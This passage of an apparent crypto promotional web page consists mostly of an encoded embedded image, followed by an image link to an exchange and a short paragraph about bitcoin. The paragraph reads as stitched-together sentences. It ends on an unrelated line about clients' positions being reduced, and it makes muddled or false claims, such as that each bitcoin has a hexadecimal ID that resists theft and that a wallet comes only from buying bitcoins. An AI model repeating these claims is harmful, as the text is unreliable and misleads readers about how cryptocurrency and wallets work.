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' alt='https://www.beaxy.com/' class='aligncenter' style='display:block;margin-left:auto;margin-right:auto; width='403px'/></a><br />
Each bitcoin has a complicated ID, known as a hexadecimal code, that is many times more difficult to steal than someone&#8217;s credit-card information. And since there is a finite number to be accounted for, there is less of a chance bitcoin or fractions of a bitcoin will go missing. A 2015 survey showed bitcoin users tend to be overwhelmingly white and male, but of varying incomes. The people with the most bitcoins are more likely to be using it for illegal purposes, the survey suggested. No one controls these blocks, because blockchains are decentralized across every computer that has a bitcoin wallet, which you only get if you buy bitcoins. Using a blockchain ensures security and manages digital relationships as part of a system of record. Any client with a notional size above this limit is at risk of having their cryptocurrency positions reduced.</p>
<div style="display: flex;justify-content: center;">
<blockquote class="twitter-tweet">
